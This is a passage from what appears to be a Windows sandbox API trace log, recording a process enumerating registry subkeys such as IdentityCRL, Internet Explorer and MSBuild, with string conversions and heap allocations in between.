0x1d3bbb8 [0040.670] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="htmlhelp", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0040.670] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c0d8 [0040.670] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="htmlhelp", cchWideChar=8, lpMultiByteStr=0x1d3c0d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="htmlhelp", lpUsedDefaultChar=0x0) returned 8 [0040.670] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c120 [0040.670] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c0d8) returned 1 [0040.670] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c120) returned 1 [0040.670] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3bbb8) returned 1 [0040.670] RegEnumKeyW (in: hKey=0x34, dwIndex=0x28, lpName=0x1d3b930, cchName=0x104 | out: lpName="IdentityCRL") returned 0x0 [0040.670] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3bbb8 [0040.670] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="identitycrl", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0040.670] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c120 [0040.670] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="identitycrl", cchWideChar=11, lpMultiByteStr=0x1d3c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="identitycrl", lpUsedDefaultChar=0x0) returned 11 [0040.670] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c0d8 [0040.670] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c120) returned 1 [0040.670] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c0d8) returned 1 [0040.670] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3bbb8) returned 1 [0040.670] RegEnumKeyW (in: hKey=0x34, dwIndex=0x29, lpName=0x1d3b930, cchName=0x104 | out: lpName="IdentityStore") returned 0x0 [0040.670] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3bbb8 [0040.670] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="identitystore", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0040.670] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c0d8 [0040.670] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="identitystore", cchWideChar=13, lpMultiByteStr=0x1d3c0d8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="identitystore", lpUsedDefaultChar=0x0) returned 13 [0040.670] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c120 [0040.670] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c0d8) returned 1 [0040.670] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c120) returned 1 [0040.670] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3bbb8) returned 1 [0040.670] RegEnumKeyW (in: hKey=0x34, dwIndex=0x2a, lpName=0x1d3b930, cchName=0x104 | out: lpName="IMAPI") returned 0x0 [0040.670] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3bbb8 [0040.671] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imapi", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0040.671] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c120 [0040.671] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imapi", cchWideChar=5, lpMultiByteStr=0x1d3c120, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="imapi", lpUsedDefaultChar=0x0) returned 5 [0040.671] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c0d8 [0040.671] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c120) returned 1 [0040.671] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c0d8) returned 1 [0040.671] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3bbb8) returned 1 [0040.671] RegEnumKeyW (in: hKey=0x34, dwIndex=0x2b, lpName=0x1d3b930, cchName=0x104 | out: lpName="IMEJP") returned 0x0 [0040.671] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3bbb8 [0040.671] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imejp", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0040.671] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c0d8 [0040.671] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imejp", cchWideChar=5, lpMultiByteStr=0x1d3c0d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="imejp", lpUsedDefaultChar=0x0) returned 5 [0040.671] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c120 [0040.671] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c0d8) returned 1 [0040.671] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c120) returned 1 [0040.671] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3bbb8) returned 1 [0040.671] RegEnumKeyW (in: hKey=0x34, dwIndex=0x2c, lpName=0x1d3b930, cchName=0x104 | out: lpName="IMEKR") returned 0x0 [0040.671] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3bbb8 [0040.671] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imekr", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0040.671] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c120 [0040.671] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imekr", cchWideChar=5, lpMultiByteStr=0x1d3c120, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="imekr", lpUsedDefaultChar=0x0) returned 5 [0040.671] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c0d8 [0040.671] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c120) returned 1 [0040.671] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c0d8) returned 1 [0040.671] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3bbb8) returned 1 [0040.671] RegEnumKeyW (in: hKey=0x34, dwIndex=0x2d, lpName=0x1d3b930, cchName=0x104 | out: lpName="IMETC") returned 0x0 [0040.671] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3bbb8 [0040.671] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imetc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0040.671] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c0d8 [0040.671] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imetc", cchWideChar=5, lpMultiByteStr=0x1d3c0d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="imetc", lpUsedDefaultChar=0x0) returned 5 [0040.671] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c120 [0040.671] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c0d8) returned 1 [0040.672] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c120) returned 1 [0040.672] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3bbb8) returned 1 [0040.672] RegEnumKeyW (in: hKey=0x34, dwIndex=0x2e, lpName=0x1d3b930, cchName=0x104 | out: lpName="Internet Account Manager") returned 0x0 [0040.672] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3bbb8 [0040.672] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet account manager", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0040.672] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c120 [0040.672] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet account manager", cchWideChar=24, lpMultiByteStr=0x1d3c120, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="internet account manager", lpUsedDefaultChar=0x0) returned 24 [0040.672] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c0d8 [0040.672] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c120) returned 1 [0040.672] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c0d8) returned 1 [0040.672] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3bbb8) returned 1 [0040.672] RegEnumKeyW (in: hKey=0x34, dwIndex=0x2f, lpName=0x1d3b930, cchName=0x104 | out: lpName="Internet Domains") returned 0x0 [0040.672] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3bbb8 [0040.672] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet domains", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0040.672] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c0d8 [0040.672] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet domains", cchWideChar=16, lpMultiByteStr=0x1d3c0d8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="internet domains", lpUsedDefaultChar=0x0) returned 16 [0040.672] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c120 [0040.672] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c0d8) returned 1 [0040.672] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c120) returned 1 [0040.672] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3bbb8) returned 1 [0040.672] RegEnumKeyW (in: hKey=0x34, dwIndex=0x30, lpName=0x1d3b930, cchName=0x104 | out: lpName="Internet Explorer") returned 0x0 [0040.672] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3bbb8 [0040.672] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet explorer", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0040.672] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c120 [0040.672] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet explorer", cchWideChar=17, lpMultiByteStr=0x1d3c120, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="internet explorer", lpUsedDefaultChar=0x0) returned 17 [0040.672] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c0d8 [0040.672] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c120) returned 1 [0040.672] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c0d8) returned 1 [0040.672] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3bbb8) returned 1 [0040.672] RegEnumKeyW (in: hKey=0x34, dwIndex=0x31, lpName=0x1d3b930, cchName=0x104 | out: lpName="IsoBurn") returned 0x0 [0040.672] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3bbb8 [0040.672] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="isoburn", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0040.673] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c0d8 [0040.673] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="isoburn", cchWideChar=7, lpMultiByteStr=0x1d3c0d8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="isoburn", lpUsedDefaultChar=0x0) returned 7 [0040.673] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c120 [0040.673] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c0d8) returned 1 [0040.673] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c120) returned 1 [0040.673] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3bbb8) returned 1 [0040.673] RegEnumKeyW (in: hKey=0x34, dwIndex=0x32, lpName=0x1d3b930, cchName=0x104 | out: lpName="Loki") returned 0x0 [0040.673] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3bbb8 [0040.673] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="loki", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0040.673] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c120 [0040.673] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="loki", cchWideChar=4, lpMultiByteStr=0x1d3c120, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="loki", lpUsedDefaultChar=0x0) returned 4 [0040.673] RegEnumKeyW (in: hKey=0x34, dwIndex=0x33, lpName=0x1d3b930, cchName=0x104 | out: lpName="MediaCenterPeripheral") returned 0x0 [0040.673] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mediacenterperipheral", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0040.673] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mediacenterperipheral", cchWideChar=21, lpMultiByteStr=0x1d3c0d8, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mediacenterperipheral", lpUsedDefaultChar=0x0) returned 21 [0040.673] RegEnumKeyW (in: hKey=0x34, dwIndex=0x34, lpName=0x1d3b930, cchName=0x104 | out: lpName="MediaPlayer") returned 0x0 [0040.673] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mediaplayer", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0040.673] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mediaplayer", cchWideChar=11, lpMultiByteStr=0x1d3c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mediaplayer", lpUsedDefaultChar=0x0) returned 11 [0040.673] RegEnumKeyW (in: hKey=0x34, dwIndex=0x35, lpName=0x1d3b930, cchName=0x104 | out: lpName="MessengerService") returned 0x0 [0040.673] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="messengerservice", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0040.673] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="messengerservice", cchWideChar=16, lpMultiByteStr=0x1d3c0d8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messengerservice", lpUsedDefaultChar=0x0) returned 16 [0040.673] RegEnumKeyW (in: hKey=0x34, dwIndex=0x36, lpName=0x1d3b930, cchName=0x104 | out: lpName="Microsoft Reference") returned 0x0 [0040.673] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft reference", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0040.673] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft reference", cchWideChar=19, lpMultiByteStr=0x1d3c120, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="microsoft reference", lpUsedDefaultChar=0x0) returned 19 [0040.674] RegEnumKeyW (in: hKey=0x34, dwIndex=0x37, lpName=0x1d3b930, cchName=0x104 | out: lpName="Microsoft SQL Server Compact Edition") returned 0x0 [0040.674] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft sql server compact edition", cchWideChar=36, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 36 [0040.674] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft sql server compact edition", cchWideChar=36, lpMultiByteStr=0x1d3c0d8, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="microsoft sql server compact edition", lpUsedDefaultChar=0x0) returned 36 [0040.674] RegEnumKeyW (in: hKey=0x34, dwIndex=0x38, lpName=0x1d3b930, cchName=0x104 | out: lpName="MigWiz") returned 0x0 [0040.674] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="migwiz", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0040.674] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="migwiz", cchWideChar=6, lpMultiByteStr=0x1d3c120, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="migwiz", lpUsedDefaultChar=0x0) returned 6 [0040.674] RegEnumKeyW (in: hKey=0x34, dwIndex=0x39, lpName=0x1d3b930, cchName=0x104 | out: lpName="MMC") returned 0x0 [0040.674] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mmc", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0040.674] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mmc", cchWideChar=3, lpMultiByteStr=0x1d3c0d8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mmc", lpUsedDefaultChar=0x0) returned 3 [0040.674] RegEnumKeyW (in: hKey=0x34, dwIndex=0x3a, lpName=0x1d3b930, cchName=0x104 | out: lpName="Mobile") returned 0x0 [0040.674] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mobile", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0040.674] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mobile", cchWideChar=6, lpMultiByteStr=0x1d3c120, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mobile", lpUsedDefaultChar=0x0) returned 6 [0040.674] RegEnumKeyW (in: hKey=0x34, dwIndex=0x3b, lpName=0x1d3b930, cchName=0x104 | out: lpName="MSBuild") returned 0x0 [0040.674] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msbuild", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0040.674] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msbuild", cchWideChar=7, lpMultiByteStr=0x1d3c0d8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msbuild", lpUsedDefaultChar=0x0) returned 7 [0040.675] RegEnumKeyW (in: hKey=0x34, dwIndex=0x3c, lpName=0x1d3b930, cchName=0x104 | out: lpName="MSDE") returned 0x0 [0040.675] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msde", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0040.675] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msde", cchWideChar=4, lpMultiByteStr=0x1d3c120, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msde", lpUsedDefaultChar=0x0) returned 4 [0040.675] RegEnumKeyW (in: hKey=0x34, dwIndex=0x3d, lpName=0x1d3b930, cchName=0x104 | out: lpName="MSDTC") returned 0x0 [0040.675] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdtc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0040.675] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdtc", cchWideChar=5, lpMultiByteStr=0x1d3c0d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msdtc", lpUsedDefaultChar=0x0) returned 5 [0040.675] RegEnumKeyW (in: hKey=0x34, dwIndex=0x3e, lpName=0x1d3b930, cchName=0x104 | out: lpName="MSF") returned 0x0 [0040.675] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msf", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0040.675] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msf", cchWideChar=3, lpMultiByteStr=0x1d3c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msf", lpUsedDefaultChar=0x0) returned 3 [0040.675] RegEnumKeyW (in: hKey=0x34, dwIndex=0x3f, lpName=0x1d3b930, cchName=0x104 | out: lpName="MSLicensing") returned 0x0 [0040.675] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mslicensing", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0040.675] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mslicensing", cchWideChar=11, lpMultiByteStr=0x1d3c0d8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mslicensing", lpUsedDefaultChar=0x0) returned 11 [0040.675] RegEnumKeyW (in: hKey=0x34, dwIndex=0x40, lpName=0x1d3b930, cchName=0x104 | out: lpName="MSMQ") returned 0x0 [0040.675] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msmq", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0040.675] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msmq", cchWideChar=4, lpMultiByteStr=0x1d3c120, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msmq", lpUsedDefaultChar=0x0) returned 4 [0040.675] RegEnumKeyW (in: hKey=0x34, dwIndex=0x41, lpName=0x1d3b930, cchName=0x104 | out: lpName="MSN Apps") returned 0x0 [0040.675] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msn apps", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0040.675] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msn apps", cchWideChar=8, lpMultiByteStr=0x1d3c0d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msn apps", lpUsedDefaultChar=0x0) returned 8 [0040.675] RegEnumKeyW (in: hKey=0x34, dwIndex=0x42, lpName=0x1d3b930, cchName=0x104 | out: lpName="MSOSOAP") returned 0x0 [0040.675] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msosoap", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0040.676] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msosoap", cchWideChar=7, lpMultiByteStr=0x1d3c120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msosoap", lpUsedDefaultChar=0x0) returned 7 [0040.676] RegEnumKeyW (in: hKey=0x34, dwIndex=0x43, lpName=0x1d3b930, cchName=0x104 | out: lpName="MSSearch36") returned 0x0 [0040.676] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mssearch36", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0040.676] WideCharToMultiByte 